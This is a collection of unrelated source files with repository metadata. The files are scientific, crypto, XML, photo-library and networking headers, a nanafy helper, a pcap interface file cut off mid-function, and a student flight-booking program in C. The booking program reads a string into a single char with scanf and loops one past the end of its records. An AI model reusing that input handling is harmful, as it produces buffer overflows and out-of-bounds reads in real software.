2,060
h
C
src/cxx/libsparse/libmga2d/RidNoise.h
jstarck/cosmostat
f686efe4c00073272487417da15e207a529f07e7
[ "MIT" ]
null
null
null
src/cxx/libsparse/libmga2d/RidNoise.h
jstarck/cosmostat
f686efe4c00073272487417da15e207a529f07e7
[ "MIT" ]
null
null
null
src/cxx/libsparse/libmga2d/RidNoise.h
jstarck/cosmostat
f686efe4c00073272487417da15e207a529f07e7
[ "MIT" ]
null
null
null
/****************************************************************************** ** Copyright (C) 200 by CEA + Stanford university ******************************************************************************* ** ** UNIT ** ** Version: 1.0 ** ** Author: J.L. Starck ** ** Date: 06/04/00 ** ** File: RidNoise.h ** ******************************************************************************* ** ** DESCRIPTION Class for correlated noise manadgement in the Ridgelet ** ----------- transform ** ******************************************************************************/ #ifndef _CRIDNOISE_H_ #define _CRIDNOISE_H_ #define RID_SIZE_HISTO 1024 /* number of bins for histogram */ #include "Ridgelet.h" class StatRidNoise { fltarray StepHisto,MinHisto,MaxHisto; fltarray TabSigma; int NbrBand; fltarray Histo; fltarray Repart; fltarray Tab_Bin; public: void init(Ifloat & RidTrans, int Nscale, Ridgelet & Rid); Bool Verbose; int nbr_band() const {return NbrBand;} float sigma_band(int Band) const {return TabSigma(Band);} StatRidNoise() {NbrBand=0;Verbose = False;}; void find_threshold(int NbrMaxBand, fltarray &Tab_Proba, fltarray &ThresholdMin, fltarray &ThresholdMax); // return the thresholds (min, max) corresponding // to a Epsilon value for each scale void find_nsigma_threshold(int NbrMaxBand, fltarray &Tab_Proba, fltarray &ThresholdMin, fltarray &ThresholdMax); // return the thresholds (min, max) corresponding // to a NSigma (equivalent Gaussian) detection value for each scale float prob(int Band, float Val); // return the probability to have a wavelet // coefficient of value Val float repartition(int Band, float Val); // return the integrated probability to have a wavelet coefficient // lower than Val (Repartition Function) void write(char *StepFileName); // write histogram, repartition function and bin value ~StatRidNoise(){;} }; #endif
29.855072
114
0.562621
4e914f384e82500d72dddad5adac3a3f0d429e3b
734
h
C
include/Dynamic/Analysis/DynamicPointer.h
grievejia/tpa
8a7aa4c7d41c266fcf3a5e2011ff324bcddf5816
[ "MIT" ]
16
2016-08-03T12:09:19.000Z
2022-02-20T08:22:12.000Z
include/Dynamic/Analysis/DynamicPointer.h
grievejia/tpa
8a7aa4c7d41c266fcf3a5e2011ff324bcddf5816
[ "MIT" ]
1
2016-12-14T08:42:19.000Z
2016-12-21T08:21:20.000Z
include/Dynamic/Analysis/DynamicPointer.h
grievejia/tpa
8a7aa4c7d41c266fcf3a5e2011ff324bcddf5816
[ "MIT" ]
6
2016-08-19T14:17:06.000Z
2019-08-05T08:34:47.000Z
#pragma once #include "Util/Hashing.h" namespace dynamic { class DynamicContext; class DynamicPointer { private: const DynamicContext* ctx; unsigned ptrId; public: DynamicPointer(const DynamicContext* c, unsigned p): ctx(c), ptrId(p) {} bool operator==(const DynamicPointer& rhs) const { return ctx == rhs.ctx && ptrId == rhs.ptrId; } bool operator!=(const DynamicPointer& rhs) const { return !(*this == rhs); } const DynamicContext* getContext() const { return ctx; } unsigned getID() const { return ptrId; } }; } namespace std { template<> struct hash<dynamic::DynamicPointer> { size_t operator()(const dynamic::DynamicPointer& ptr) const { return util::hashPair(ptr.getContext(), ptr.getID()); } }; }
16.311111
73
0.69891
abdd6ef61c366886cc52539899227f35ef350bf3
8,032
h
C
kame/kame/racoon/crypto_openssl.h
shisa/kame-shisa
25dfcf220c0cd8192e475a602501206ccbd9263e
[ "BSD-3-Clause" ]
1
2019-10-15T06:29:32.000Z
2019-10-15T06:29:32.000Z
kame/kame/racoon/crypto_openssl.h
shisa/kame-shisa
25dfcf220c0cd8192e475a602501206ccbd9263e
[ "BSD-3-Clause" ]
null
null
null
kame/kame/racoon/crypto_openssl.h
shisa/kame-shisa
25dfcf220c0cd8192e475a602501206ccbd9263e
[ "BSD-3-Clause" ]
3
2017-01-09T02:15:36.000Z
2019-10-15T06:30:25.000Z
/* $KAME: crypto_openssl.h,v 1.31 2004/08/24 06:52:41 sakane Exp $ */ /* * Copyright (C) 1995, 1996, 1997, and 1998 WIDE Project. * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * 3. Neither the name of the project nor the names of its contributors * may be used to endorse or promote products derived from this software * without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE PROJECT AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE PROJECT OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. */ #ifdef HAVE_SIGNING_C /* X509 Certificate */ #include <openssl/x509v3.h> #define GENT_OTHERNAME GEN_OTHERNAME #define GENT_EMAIL GEN_EMAIL #define GENT_DNS GEN_DNS #define GENT_X400 GEN_X400 #define GENT_DIRNAME GEN_DIRNAME #define GENT_EDIPARTY GEN_EDIPARTY #define GENT_URI GEN_URI #define GENT_IPADD GEN_IPADD #define GENT_RID GEN_RID extern vchar_t *eay_str2asn1dn __P((char *, int)); extern int eay_cmp_asn1dn __P((vchar_t *, vchar_t *)); extern int eay_check_x509cert __P((vchar_t *, char *, int)); extern vchar_t *eay_get_x509asn1subjectname __P((vchar_t *)); extern int eay_get_x509subjectaltname __P((vchar_t *, char **, int *, int)); extern char *eay_get_x509text __P((vchar_t *)); extern vchar_t *eay_get_x509cert __P((char *)); extern vchar_t *eay_get_x509sign __P((vchar_t *, vchar_t *, vchar_t *)); extern int eay_check_x509sign __P((vchar_t *, vchar_t *, vchar_t *)); extern int eay_check_pkcs7sign __P((vchar_t *, vchar_t *, vchar_t *)); /* RSA */ extern vchar_t *eay_rsa_sign __P((vchar_t *, vchar_t *)); extern int eay_rsa_verify __P((vchar_t *, vchar_t *, EVP_PKEY *)); /* ASN.1 */ extern vchar_t *eay_get_pkcs1privkey __P((char *)); extern vchar_t *eay_get_pkcs1pubkey __P((char *)); #endif /* string error */ extern char *eay_strerror __P((void)); extern void eay_init_error __P((void)); extern void eay_close_error __P((void)); /* DES */ extern vchar_t *eay_des_encrypt __P((vchar_t *, vchar_t *, vchar_t *)); extern vchar_t *eay_des_decrypt __P((vchar_t *, vchar_t *, vchar_t *)); extern int eay_des_weakkey __P((vchar_t *)); extern int eay_des_keylen __P((int)); /* IDEA */ extern vchar_t *eay_idea_encrypt __P((vchar_t *, vchar_t *, vchar_t *)); extern vchar_t *eay_idea_decrypt __P((vchar_t *, vchar_t *, vchar_t *)); extern int eay_idea_weakkey __P((vchar_t *)); extern int eay_idea_keylen __P((int)); /* blowfish */ extern vchar_t *eay_bf_encrypt __P((vchar_t *, vchar_t *, vchar_t *)); extern vchar_t *eay_bf_decrypt __P((vchar_t *, vchar_t *, vchar_t *)); extern int eay_bf_weakkey __P((vchar_t *)); extern int eay_bf_keylen __P((int)); /* RC5 */ extern vchar_t *eay_rc5_encrypt __P((vchar_t *, vchar_t *, vchar_t *)); extern vchar_t *eay_rc5_decrypt __P((vchar_t *, vchar_t *, vchar_t *)); extern int eay_rc5_weakkey __P((vchar_t *)); extern int eay_rc5_keylen __P((int)); /* 3DES */ extern vchar_t *eay_3des_encrypt __P((vchar_t *, vchar_t *, vchar_t *)); extern vchar_t *eay_3des_decrypt __P((vchar_t *, vchar_t *, vchar_t *)); extern int eay_3des_weakkey __P((vchar_t *)); extern int eay_3des_keylen __P((int)); /* CAST */ extern vchar_t *eay_cast_encrypt __P((vchar_t *, vchar_t *, vchar_t *)); extern vchar_t *eay_cast_decrypt __P((vchar_t *, vchar_t *, vchar_t *)); extern int eay_cast_weakkey __P((vchar_t *)); extern int eay_cast_keylen __P((int)); /* AES(RIJNDAEL) */ extern vchar_t *eay_aes_encrypt __P((vchar_t *, vchar_t *, vchar_t *)); extern vchar_t *eay_aes_decrypt __P((vchar_t *, vchar_t *, vchar_t *)); extern int eay_aes_weakkey __P((vchar_t *)); extern int eay_aes_keylen __P((int)); /* misc */ extern int eay_null_keylen __P((int)); extern int eay_null_hashlen __P((void)); extern int eay_kpdk_hashlen __P((void)); extern int eay_twofish_keylen __P((int)); /* hash */ #if defined(WITH_SHA2) /* HMAC SHA2 */ extern vchar_t *eay_hmacsha2_512_one __P((vchar_t *, vchar_t *)); extern caddr_t eay_hmacsha2_512_init __P((vchar_t *)); extern void eay_hmacsha2_512_update __P((caddr_t, vchar_t *)); extern vchar_t *eay_hmacsha2_512_final __P((caddr_t)); extern vchar_t *eay_hmacsha2_384_one __P((vchar_t *, vchar_t *)); extern caddr_t eay_hmacsha2_384_init __P((vchar_t *)); extern void eay_hmacsha2_384_update __P((caddr_t, vchar_t *)); extern vchar_t *eay_hmacsha2_384_final __P((caddr_t)); extern vchar_t *eay_hmacsha2_256_one __P((vchar_t *, vchar_t *)); extern caddr_t eay_hmacsha2_256_init __P((vchar_t *)); extern void eay_hmacsha2_256_update __P((caddr_t, vchar_t *)); extern vchar_t *eay_hmacsha2_256_final __P((caddr_t)); #endif /* HMAC SHA1 */ extern vchar_t *eay_hmacsha1_one __P((vchar_t *, vchar_t *)); extern caddr_t eay_hmacsha1_init __P((vchar_t *)); extern void eay_hmacsha1_update __P((caddr_t, vchar_t *)); extern vchar_t *eay_hmacsha1_final __P((caddr_t)); /* HMAC MD5 */ extern vchar_t *eay_hmacmd5_one __P((vchar_t *, vchar_t *)); extern caddr_t eay_hmacmd5_init __P((vchar_t *)); extern void eay_hmacmd5_update __P((caddr_t, vchar_t *)); extern vchar_t *eay_hmacmd5_final __P((caddr_t)); #if defined(WITH_SHA2) /* SHA2 functions */ extern caddr_t eay_sha2_512_init __P((void)); extern void eay_sha2_512_update __P((caddr_t, vchar_t *)); extern vchar_t *eay_sha2_512_final __P((caddr_t)); extern vchar_t *eay_sha2_512_one __P((vchar_t *)); #endif extern int eay_sha2_512_hashlen __P((void)); #if defined(WITH_SHA2) extern caddr_t eay_sha2_384_init __P((void)); extern void eay_sha2_384_update __P((caddr_t, vchar_t *)); extern vchar_t *eay_sha2_384_final __P((caddr_t)); extern vchar_t *eay_sha2_384_one __P((vchar_t *)); #endif extern int eay_sha2_384_hashlen __P((void)); #if defined(WITH_SHA2) extern caddr_t eay_sha2_256_init __P((void)); extern void eay_sha2_256_update __P((caddr_t, vchar_t *)); extern vchar_t *eay_sha2_256_final __P((caddr_t)); extern vchar_t *eay_sha2_256_one __P((vchar_t *)); #endif extern int eay_sha2_256_hashlen __P((void)); /* SHA functions */ extern caddr_t eay_sha1_init __P((void)); extern void eay_sha1_update __P((caddr_t, vchar_t *)); extern vchar_t *eay_sha1_final __P((caddr_t)); extern vchar_t *eay_sha1_one __P((vchar_t *)); extern int eay_sha1_hashlen __P((void)); /* MD5 functions */ extern caddr_t eay_md5_init __P((void)); extern void eay_md5_update __P((caddr_t, vchar_t *)); extern vchar_t *eay_md5_final __P((caddr_t)); extern vchar_t *eay_md5_one __P((vchar_t *)); extern int eay_md5_hashlen __P((void)); /* eay_set_random */ extern vchar_t *eay_set_random __P((u_int32_t)); /* DH */ extern int eay_dh_generate __P((vchar_t *, u_int32_t, u_int, vchar_t **, vchar_t **)); extern int eay_dh_compute __P((vchar_t *, u_int32_t, vchar_t *, vchar_t *, vchar_t *, vchar_t **)); /* misc */ extern int eay_revbnl __P((vchar_t *)); #include <openssl/bn.h> extern int eay_v2bn __P((BIGNUM **, vchar_t *)); extern int eay_bn2v __P((vchar_t **, BIGNUM *)); extern const char *eay_version __P((void)); #define CBC_BLOCKLEN 8 #define IPSEC_ENCRYPTKEYLEN 8
39.566502
99
0.748381
22994bb606e206acd79e79be5e55eb30380f3759
196
h
C
MT_BSBDJ_Swift/MT_BSBDJ_Swift/MT_BSBDJ_Swift-Bridging-Header.h
Massare/MTBaisi-Swift
24c240bee0df06de284399c4a9af520e0b2f3e93
[ "Apache-2.0" ]
null
null
null
MT_BSBDJ_Swift/MT_BSBDJ_Swift/MT_BSBDJ_Swift-Bridging-Header.h
Massare/MTBaisi-Swift
24c240bee0df06de284399c4a9af520e0b2f3e93
[ "Apache-2.0" ]
null
null
null
MT_BSBDJ_Swift/MT_BSBDJ_Swift/MT_BSBDJ_Swift-Bridging-Header.h
Massare/MTBaisi-Swift
24c240bee0df06de284399c4a9af520e0b2f3e93
[ "Apache-2.0" ]
null
null
null
// // Use this file to import your target's public headers that you would like to expose to Swift. // #ifndef MT_BSBDJ_Swift_Bridging_Header_h #define MT_BSBDJ_Swift_Bridging_Header_h #endif
17.818182
96
0.790816
39466a876872a330d5810349dee808b866fb2757
3,514
c
C
terzo esercizio - traccia aereoporto.c
Coding-Teams/traccia-aereoporto---da-sistemare
aab0283a16b02d6d4231342a1101a64849fd96b3
[ "Apache-2.0" ]
null
null
null
terzo esercizio - traccia aereoporto.c
Coding-Teams/traccia-aereoporto---da-sistemare
aab0283a16b02d6d4231342a1101a64849fd96b3
[ "Apache-2.0" ]
null
null
null
terzo esercizio - traccia aereoporto.c
Coding-Teams/traccia-aereoporto---da-sistemare
aab0283a16b02d6d4231342a1101a64849fd96b3
[ "Apache-2.0" ]
1
2020-11-27T19:02:07.000Z
2020-11-27T19:02:07.000Z
/* ============================================================================ Name : terzo.c Author : piersilvio Version : Copyright : Description : prova aereoporto ============================================================================ */ #include <stdio.h> #include <string.h> #include <stdbool.h> #define max_fly 100 //struct declaration typedef struct{ char cod_volo[10]; char citta_partenza[10]; char citta_arrivo[10]; int tot_posti; int posti_occup; }volo; int n_voli = 0; //>0 //struct definition volo vol[max_fly]; //inputs int scelta; int num_posti; //working variables int i = 0; void prenotazione(); void inserimento(); int main(){ do{ printf(":: Insert the number of flys: \n"); fflush(stdout); scanf("%d", &n_voli); }while(n_voli == 0); inserimento(); for(i = 0; i < n_voli; i++){ printf(":: code of vole: %s\n", vol[i].cod_volo); printf(":: city of the departure: %s\n", vol[i].citta_partenza); printf(":: city of the arrival: %s\n", vol[i].citta_arrivo); printf(":: total of seats: %d\n", vol[i].tot_posti); printf(":: the number of occuped seats: %d\n", vol[i].posti_occup); printf("\n"); } do{ prenotazione(); printf(":: do you want to perform another operation? (1.yes) (2.no) \n"); fflush(stdout); scanf("%d", &scelta); }while(scelta == 1); return 0; } void prenotazione(){ int position = 0; char cod_volo = ' '; int tmp = 0; i = 0; printf(":: insert the code of fly: \n"); fflush(stdout); scanf("%s", &cod_volo); do{ _Bool flag = 0; if(strcmp(&cod_volo, vol[i].cod_volo) == 0){ printf(":: insert the number of seat to prenotate: \n"); fflush(stdout); scanf("%d", &num_posti); position = i; tmp = num_posti + vol[position].posti_occup; //tiene conto del contatore all'interno del ciclo if(tmp <= vol[position].tot_posti){ flag = 1; vol[position].posti_occup = vol[position].posti_occup + num_posti; } if(flag == 1){ //printf("%d", flag); debug printf(":: fly rented with succesfuly! \n"); }else{ printf(":: Could not rent the fly! \n"); } printf("\n"); printf(":: code of vole: %s\n", vol[i].cod_volo); printf(":: city of the departure: %s\n", vol[i].citta_partenza); printf(":: city of the arrival: %s\n", vol[i].citta_arrivo); printf(":: total of seats: %d\n", vol[i].tot_posti); printf(":: the number of occuped seats: %d\n", vol[i].posti_occup); } i = i + 1; }while(i <= n_voli); } void inserimento(){ for(i = 0; i < n_voli; i++){ //utilizzo il for per dbugguare printf(":: Insert code of vole: \n"); fflush(stdout); scanf("%s", vol[i].cod_volo); printf(":: insert city of the departure: \n"); fflush(stdout); scanf("%s", vol[i].citta_partenza); printf(":: insert city of the arrival: \n"); fflush(stdout); scanf("%s", vol[i].citta_arrivo); printf(":: insert total of seats: \n"); fflush(stdout); scanf("%d", &vol[i].tot_posti); printf("\n"); vol[i].posti_occup = 0; //inizializza } }
22.525641
107
0.499715
827855a273ce1728ba15dd7c7f879bc69ab40610
345
h
C
src/WBF_BASE/AssimpManager.h
jhs0215/google-test
5dd6357bd1d45e11e29f51f0ecc006e5e3577bcd
[ "MIT" ]
null
null
null
src/WBF_BASE/AssimpManager.h
jhs0215/google-test
5dd6357bd1d45e11e29f51f0ecc006e5e3577bcd
[ "MIT" ]
null
null
null
src/WBF_BASE/AssimpManager.h
jhs0215/google-test
5dd6357bd1d45e11e29f51f0ecc006e5e3577bcd
[ "MIT" ]
1
2019-11-25T02:03:08.000Z
2019-11-25T02:03:08.000Z
#pragma once #include "IFileManager.h" #include "IFileLoader.h" class CDocBase; class CAssimpManager : public IFileManager { public: CAssimpManager(CDocBase* pDoc); virtual ~CAssimpManager(); public: virtual BOOL ImportFile(const CString & strFullPath) override; protected: CDocBase* m_pDoc; std::vector<IFileLoader*> m_aFileLoader; };
17.25
63
0.771014
95771f536e09922f79b40ddfdb17d9722156419e
7,268
h
C
include/readium-sdk/ePub3/xpath_wrangler.h
bjctw/SDKLauncher-Linux-Qt
0e3c045ffc8f4a2c7d2f052517d487651e05bd84
[ "Unlicense" ]
null
null
null
include/readium-sdk/ePub3/xpath_wrangler.h
bjctw/SDKLauncher-Linux-Qt
0e3c045ffc8f4a2c7d2f052517d487651e05bd84
[ "Unlicense" ]
null
null
null
include/readium-sdk/ePub3/xpath_wrangler.h
bjctw/SDKLauncher-Linux-Qt
0e3c045ffc8f4a2c7d2f052517d487651e05bd84
[ "Unlicense" ]
null
null
null
// // xpath_wrangler.h // ePub3 // // Created by Jim Dovey on 2012-11-29. // Copyright (c) 2014 Readium Foundation and/or its licensees. All rights reserved. // // This program is distributed in the hope that it will be useful, but WITHOUT ANY // WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. // // Licensed under Gnu Affero General Public License Version 3 (provided, notwithstanding this notice, // Readium Foundation reserves the right to license this material under a different separate license, // and if you have done so, the terms of that separate license control and the following references // to GPL do not apply). // // This program is free software: you can redistribute it and/or modify it under the terms of the GNU // Affero General Public License as published by the Free Software Foundation, either version 3 of // the License, or (at your option) any later version. You should have received a copy of the GNU // Affero General Public License along with this program. If not, see <http://www.gnu.org/licenses/>. // this is a temporary solution which will be replaced with the XML object library soon #ifndef __ePub3__xpath_wrangler__ #define __ePub3__xpath_wrangler__ #include <ePub3/epub3.h> #include <ePub3/utilities/utfstring.h> #include <ePub3/xml/xpath.h> #include <map> #include <vector> EPUB3_BEGIN_NAMESPACE /** A simple object which encapsulates the use of an XPath expression in libxml2. @ingroup utilities */ class XPathWrangler { public: /// /// A list of namespace prefix to URI pairs. typedef std::map<string, string> NamespaceList; /// /// A list of strings. typedef std::vector<string> StringList; public: /** Create a new XPathWrangler instance. @param doc The XML document upon which all operations are to be performend. @param namespaces A list of namespace prefix to URI pairs defining namespaces that the XPath interpreter should expect to find. @see RegisterNamespaces(const NamespaceList&) */ EPUB3_EXPORT XPathWrangler(shared_ptr<xml::Document> doc, const NamespaceList & namespaces = NamespaceList()); /// /// Copy constructor. EPUB3_EXPORT XPathWrangler(const XPathWrangler& o); /// /// C++11 move constructor. EPUB3_EXPORT XPathWrangler(XPathWrangler&& o); ~XPathWrangler(); /// @{ /// @name XPath Evaluation /** Evaluates an XPath, returning a list of strings as a result. @param xpath The XPath expression to evaluate. @param node The root node upon which to evaluate the XPath expression. If not supplied, the document root node will be used. @result The results of evaluating the XPath expression, coerced to string values. */ EPUB3_EXPORT StringList Strings(const string& xpath, shared_ptr<xml::Node> node = nullptr); /** Evaluates an XPath as a boolean expression. This method will aim to return a Boolean result value at the earliest possible opportunity rather than constructing a potentially large node-set as a result only to cast it to a Boolean for return. @remarks Note that this will explicitly adjust the XPath such that it will stop evaluation upon finding the first matching node. @param xpath The XPath expression to evaluate. @param node The root node upon which to evaluate the XPath expression. If not supplied, the document root node will be used. @result Returns `false` if the XPath did not match any node in the specified subtree. Otherwise, returns `true` to indicate that at least one result would be returned from either Strings(const string&, xmlNodePtr) or Nodes(const string&, xmlNodePtr). */ EPUB3_EXPORT bool Matches(const string& xpath, shared_ptr<xml::Node> node = nullptr); /** Evaluates an XPath, returning a set of all matching nodes. @param xpath The XPath expression to evaluate. @param node The root node upon which to evaluate the XPath expression. If not supplied, the document root node will be used. @result The nodes which result from evaluating the XPath expression on the specified subtree. */ EPUB3_EXPORT xml::NodeSet Nodes(const string& xpath, shared_ptr<xml::Node> node=nullptr); /// @} /// @{ /// @name Namespace Handling /** Adds a namespace prefix:URI pair to the XPath evaluation context. If a document uses namespaces, then an XPath expression which does not explicitly reference those namespaces will *not* match. Additionally, the XPath evaluation context will not automatically load namespace details from a document. For example, an OPF document uses elements from the DCMES namespace, defined as `http://purl.org/dc/elements/1.1/`. Regardless of any prefix assigned to that namespace by the source document, an XPath evaluation context must be informed of the prefix that will be used to reference that namespace *in the XPath expression*. Thus to match a `<dc:title>` element, the XPath evaluation context must be told to associate `http://purl.org/dc/elements/1.1/` with the prefix `dc`. It will now recognize XPaths such as `//dc:title/text()`. @param namespaces A list of namespace prefix to URI pairs to register with the XPath evaluation context. */ EPUB3_EXPORT void RegisterNamespaces(const NamespaceList& namespaces); /** Assigns a prefix to the default namespace of the source document. As described in the documentation for RegisterNamespaces(const NamespaceList&), the XPath evaluation context needs to be informed explicitly of the existence of every single namespace. This also applies to the default namespace, which otherwise does not have a prefix assigned. When the default namespace is known in advance, it is possible and indeed recommended that it be registered using RegisterNamespaces(const NamespaceList&). This method will look at the document to see if it defines a document-wide default namespace, and will assign it a given prefix in the XPath evaluation context. This can be useful where an XPath is selecting an element which could be a member of two or more different namespaces, such as OEBPS 1.2 vs. OPF 3.0. When the exact version is unknown (and unneeded) then the caller can simply request that the default namespace be called e.g. 'opf'. This way, an XPath of `//opf:manifest/opf:item/@opf:href` could be run against both an OPF 3.0 document and an OEBPS 1.2 document. @param name The prefix to assign to the default namespace within the XPath evaluation context. */ EPUB3_EXPORT void NameDefaultNamespace(const string& name); /// @} protected: shared_ptr<xml::Document> _doc; ///< The XML document on which this will operate. NamespaceList _namespaces; ///< The namespaces to register when running XPath queries. }; EPUB3_END_NAMESPACE #endif /* defined(__ePub3__xpath_wrangler__) */
41.295455
105
0.708998
bf10716aa6307e7df879575c8a83bdb96cbb9a58
747
c
C
src/nanafy/nanafy-memory/src/put-nanafy.c
Tikubonn/nanafy
adc9476bd110b15d4ff92175a48c384bcfe8f0f3
[ "MIT" ]
null
null
null
src/nanafy/nanafy-memory/src/put-nanafy.c
Tikubonn/nanafy
adc9476bd110b15d4ff92175a48c384bcfe8f0f3
[ "MIT" ]
null
null
null
src/nanafy/nanafy-memory/src/put-nanafy.c
Tikubonn/nanafy
adc9476bd110b15d4ff92175a48c384bcfe8f0f3
[ "MIT" ]
null
null
null
#include <nanafy.h> #include <stddef.h> int put_nanafy (int value, nanafy_section section, nanafy *nana){ switch (put_nanafy_manually(value, section, nana)){ case NANAFY_SUCCESS: return 0; case NANAFY_TEXT_MEMORY_NOT_ENOUGH_MEMORY: if (extend_nanafy_memory(1, &(nana->text_memory)) != 0){ return 1; } return put_nanafy(value, section, nana); case NANAFY_DATA_MEMORY_NOT_ENOUGH_MEMORY: if (extend_nanafy_memory(1, &(nana->data_memory)) != 0){ return 1; } return put_nanafy(value, section, nana); case NANAFY_RODATA_MEMORY_NOT_ENOUGH_MEMORY: if (extend_nanafy_memory(1, &(nana->rodata_memory)) != 0){ return 1; } return put_nanafy(value, section, nana); default: return NANAFY_ERROR; } }
27.666667
65
0.708166
ba30e1f96f8b92b786df73a3bfc91e7ec9d2e1fe
845
h
C
ios/RNPhotosFramework/RNPFManager.h
DylanVann/react-native-cameraroll
1b84764105686c0d2ea3a842caf3e1cbbd733e3c
[ "MIT" ]
null
null
null
ios/RNPhotosFramework/RNPFManager.h
DylanVann/react-native-cameraroll
1b84764105686c0d2ea3a842caf3e1cbbd733e3c
[ "MIT" ]
null
null
null
ios/RNPhotosFramework/RNPFManager.h
DylanVann/react-native-cameraroll
1b84764105686c0d2ea3a842caf3e1cbbd733e3c
[ "MIT" ]
null
null
null
#import <AssetsLibrary/AssetsLibrary.h> #import <React/RCTBridgeModule.h> #import <React/RCTConvert.h> #import <React/RCTBridge.h> #import <React/RCTEventDispatcher.h> #import <React/RCTEventEmitter.h> #import "PHOperationResult.h" #import "PHChangeObserver.h" @import UIKit; @import Photos; typedef void (^assetOperationBlock)(BOOL success, NSError *__nullable error, NSString * __nullable localIdentifier); typedef void (^fileDownloadExtendedPrograessBlock)(NSString * _Nonnull uri, int index,int64_t progress, int64_t total); typedef void(^createAssetsCompleteBlock)( NSMutableArray<PHOperationResult *> * _Nonnull result); @interface RNPFManager : RCTEventEmitter <RCTBridgeModule> @property (nonatomic, strong) __nonnull dispatch_queue_t currentQueue; @property (nonatomic, strong) PHChangeObserver * __nullable changeObserver; @end
40.238095
119
0.807101
be79b697b28f79ed44811f322a31cab97b928206
746
c
C
src/builtin.c
JoonSoo-Park/Shell
7127b8ab3e67b6a6006e1b7bca2bef1598f53099
[ "MIT" ]
1
2020-03-02T04:33:36.000Z
2020-03-02T04:33:36.000Z
src/builtin.c
JoonSoo-Park/Shell
7127b8ab3e67b6a6006e1b7bca2bef1598f53099
[ "MIT" ]
null
null
null
src/builtin.c
JoonSoo-Park/Shell
7127b8ab3e67b6a6006e1b7bca2bef1598f53099
[ "MIT" ]
1
2020-01-18T10:03:35.000Z
2020-01-18T10:03:35.000Z
#include "./builtin.h" #include <stdio.h> #include <unistd.h> const char* builtin_str[] = { "cd", "echo", "help", "exit" }; int (*builtin_func[]) (char**) = { &lsh_cd, &lsh_echo, &lsh_help, &lsh_exit }; int builtin_num() { return sizeof(builtin_str) / sizeof(char*); } int lsh_cd(char** args) { if (args[0] == NULL) { fprintf(stderr, "usage: cd [arguments]"); } else { if (chdir(args[1]) == -1) { perror("change directory failed."); } } return 1; } int lsh_echo(char** args) { return 1; } int lsh_help(char** args) { int i; printf("These shell commands are defined internally.\n"); for (i = 0; i < builtin_num(); ++i) { printf("%s\n", builtin_str[i]); } return 1; } int lsh_exit(char** args) { return 0; }
13.087719
58
0.596515
d5bdbbda84faca306f73481bebf442f0b918040c
6,219
c
C
ofagent/indigo/submodules/bigcode/modules/VPI/module/src/vpi_interface_pcap.c
lanpinguo/apple-sauce
b16e7b78e58d0d17ad7f05476f38704a6b519ece
[ "Apache-2.0" ]
1
2021-05-14T15:33:21.000Z
2021-05-14T15:33:21.000Z
ofagent/indigo/submodules/bigcode/modules/VPI/module/src/vpi_interface_pcap.c
lanpinguo/apple-sauce
b16e7b78e58d0d17ad7f05476f38704a6b519ece
[ "Apache-2.0" ]
null
null
null
ofagent/indigo/submodules/bigcode/modules/VPI/module/src/vpi_interface_pcap.c
lanpinguo/apple-sauce
b16e7b78e58d0d17ad7f05476f38704a6b519ece
[ "Apache-2.0" ]
2
2019-07-13T06:58:33.000Z
2022-03-23T03:02:57.000Z
/**************************************************************** * * Copyright 2013, Big Switch Networks, Inc. * * Licensed under the Eclipse Public License, Version 1.0 (the * "License"); you may not use this file except in compliance * with the License. You may obtain a copy of the License at * * http://www.eclipse.org/legal/epl-v10.html * * Unless required by applicable law or agreed to in writing, * software distributed under the License is distributed on an * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, * either express or implied. See the License for the specific * language governing permissions and limitations under the * License. * ***************************************************************/ #include "vpi_int.h" #if VPI_CONFIG_INCLUDE_INTERFACE_PCAP == 1 #define VPI_LOG_PREFIX1 ".pcap" #include "vpi_log.h" #include "vpi_interface_pcap.h" #include <pcap/pcap.h> static const char* pcap_interface_docstring__ = "----------------------------------------------------\n" "VPI Interface: PCAP \n" "----------------------------------------------------\n" "\n" "VPI endpoints using PCAP interfaces.\n" "\n" "Create format:\n" " 'pcap|INTERFACE'\n" "\n" " Example:\n" " 'pcap|eth0'\n" "\n" "\n"; typedef struct vpi_interface_pcap_s { /**************************************************************************//** * * This must always be first. * This is the public inteface data. * *****************************************************************************/ vpi_interface_t interface; /**************************************************************************//** * * Private implementation data. * * *****************************************************************************/ const char* log_string; /* Our pcap object */ pcap_t* pcap; /* Descriptor */ int fd; } vpi_interface_pcap_t; #define VICAST(_vi_name, _vpi_name) \ vpi_interface_pcap_t* _vi_name = (vpi_interface_pcap_t*)(_vpi_name) int vpi_pcap_interface_register(void) { /* Register our module as handling type 'udp' */ return vpi_interface_register("pcap", vpi_pcap_interface_create, NULL, pcap_interface_docstring__); } /**************************************************************************//** * * Send packet data on our socket. Assumes no fragmentation. * * *****************************************************************************/ static int sendto__(vpi_interface_pcap_t* vi, char* data, int len) { return pcap_sendpacket(vi->pcap, (unsigned char*)data, len); } /**************************************************************************//** * * Receive packet data on our socket. Assumes no fragmentation. * * *****************************************************************************/ static int read__(vpi_interface_pcap_t* vi, char* data, unsigned int len) { int rv; struct pcap_pkthdr *pkt_header; const uint8_t *pkt_data; if (pcap_next_ex(vi->pcap, &pkt_header, &pkt_data) != 1) { VPI_ERROR(vi, "pcap_next_ex() failed: %s", pcap_geterr(vi->pcap)); return -1; } if 